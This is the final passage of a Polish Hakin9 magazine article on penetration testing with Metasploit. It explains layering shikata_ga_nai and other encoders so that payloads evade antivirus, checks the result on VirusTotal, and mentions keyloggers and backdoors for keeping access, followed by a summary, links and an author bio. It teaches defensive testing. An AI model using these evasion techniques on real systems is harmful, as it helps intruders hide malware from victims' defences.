efekcie otrzymamy więc plik zakodowany
pięciokrotnie modułami x86/shikata_
ga_nai i x86/call4_dword_xor oraz
jednokrotnie modułem x86/countdown.
Taki plik będzie stanowił prawdziwe
wyzwanie dla popularnych programów
antywirusowych! Pentester korzystający z
kodowanych w ten sposób plików, może
w prosty sposób za pomocą dostępnej
online usługi Virustotal sprawdzić ich
odporność na wykrycie przez kilkadziesiąt
popularnych programów antywirusowych.
Wystarczy tylko załadować zakodowany
plik poprzez formularz dostępny pod
adresem http://www.virustotal.com/pl/.
Po chwili plik zostanie przeskanowany
przez kilkadziesiąt popularnych silników
antywirusowych, a wyniki zostaną
zaprezentowane w postaci czytelnej
tabeli. Przykładowo, plik program2.exe
otrzymany w wyniku jednokrotnego
kodowania metodą shikata_ga_nai został
oznaczony jako złośliwe oprogramowanie
przez zaledwie 7 z 41 silników
antywirusowych dostępnych w ramach
VirusTotal.
Trudno jest choćby tylko wymienić
wszystkie inne ciekawe moduły zawarte
w środowisku Metasploit. Warto jednak
na koniec wspomnieć jeszcze, że
Framework ten wspiera również działania
mające na celu utrzymanie dostępu
do przejętego systemu (np. poprzez
instalację w docelowym systemie
keyloggera, programu typu backdoor,
itp.) oraz wykonywanie z jego poziomu
dalszych testów penetracyjnych.
Wszystkie inne moduły działają
w oparciu o podobny interfejs oraz
podobną filozofię, nic nie stoi więc na
przeszkodzie, by każdy zainteresowany
mógł już dalej na własną rękę odkrywać
fascynujące możliwości środowiska
Metaspolit!
Podsumowanie
Po zapoznaniu się z przedstawionymi
praktycznymi przykładami, z
pewnością nikt już nie wątpi, że
Metasploit Framewok to coś więcej
niż środowisko do przeprowadzania
testów penetracyjnych. Jest to
prawdziwy kombajn pozwalający
na realistyczne odzwierciedlenie
wszystkich typów ataków stosowanych
przez komputerowych włamywaczy,
począwszy od etapu zbierania
informacji o docelowym systemie, a
skończywszy na zaawansowanych
atakach wymagających interakcji z
użytkownikiem docelowego systemu.
Metasploit Framework to jednak nie
tylko 481 exploity oraz 253 payloady
(dane z wersji 3.3.3 r7924) oddane
W Sieci
•
•
•
•
•
•
•
•
•
http://hcsl.pl/ – Hard Core Security Lab,
http://www.metasploit.com/ – The Metasploit Project,
http://www.offensive-security.com/metasploit-unleashed/ – Metasploit Framework:
kurs online,
http://www.irongeek.com/i.php?page=videos/msfpayload-msfencoder-metasploit-3-3
– Using msfpayload and msfencode from Metasploit 3.3 to bypass anti-virus,
http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx – Microsoft
Security Bulletin MS08-067 – Critical,
http://www.coresecurity.com/content/core-impact-overview – strona domowa
komercyjnego środowiska do testów penetracyjnych CORE IMPACT PRO,
http://www.isecom.org/osstmm/ – Open Source Security Testing Methodology
Manual,
http://www.remote-exploit.org/backtrack.html – BackTrack Linux LiveCD,
http://vimeo.com/6013518 – przykład zastosowania modułu Psnuffle do
podsłuchiwania haseł
w nasze ręce przez najlepszych
ekspertów od bezpieczeństwa
informatycznego poświęcających swój
czas na rozwój tego otwartego projektu.
Metasploit to również zaawansowane
narzędzie do tworzenia oraz testowania
własnych modułów, co jednak stanowi
temat jeszcze obszerniejszy od
poruszonego w niniejszym artykule.
Każdy fragment środowiska oraz
każdy moduł może zostać przez
nas podejrzany, zmieniony, a nawet
wykorzystany we własnym celu. Taka
otwartość pozwala więc na proste
tworzenie własnych funkcji, naukę
poprzez podglądanie najciekawszych
rozwiązań, a przede wszystkim
powoduje, że Metasploit Framework ma
dosłownie nieograniczone możliwości.
Jeśli jakaś funkcja jest nam potrzeba,
możemy ją po prostu utworzyć lub
zmodyfikować na własny użytek
moduł już istniejący. Tego rodzaju
funkcjonalności nigdy nie otrzymamy
w przypadku bardzo kosztowych
zamkniętych pakietów komercyjnych,
takich jak choćby wspomniany już Core
Impact.
Zachęcam więc wszystkich
zainteresowanych bezpieczeństwem
informatycznym do praktycznego
zapoznania się z testami penetracyjnymi
z wykorzystaniem środowiska
Metasploit Framework. Nie ma
bowiem skuteczniejszego oraz
bardziej ekscytującego sposobu
na przetestowanie bezpieczeństwa
własnych systemów, niż własnoręczne
włamanie się do ich zasobów. Tego
rodzaju testy stanowią również
okazję na zapoznanie się (w sposób
legalny) z warsztatem komputerowych
włamywaczy. Wszystko to w
konsekwencji pozwoli nam na lepsze
zabezpieczenia własnej infrastruktury
oraz lepsze zrozumienie czyhających na
nią zagrożeń!
Wojciech Smol
Autor jest absolwentem wydziału Automatyki, Elektroniki
i Informatyki Politechniki Śląskiej w Gliwicach. Ukończył
studia na kierunku informatyka, o specjalności Bazy
danych, sieci i systemy komputerowe. Pracuje jako
administrator sieci i systemów komputerowych w firmie
Mostostal Zabrze Holding S.A. Kontakt z autorem:
wojciech.smol@mz.pl lub wojciech.smol@gmail.com.
Strona domowa autora: http://hcsl.pl/.
3/2010 HAKIN9
27
Download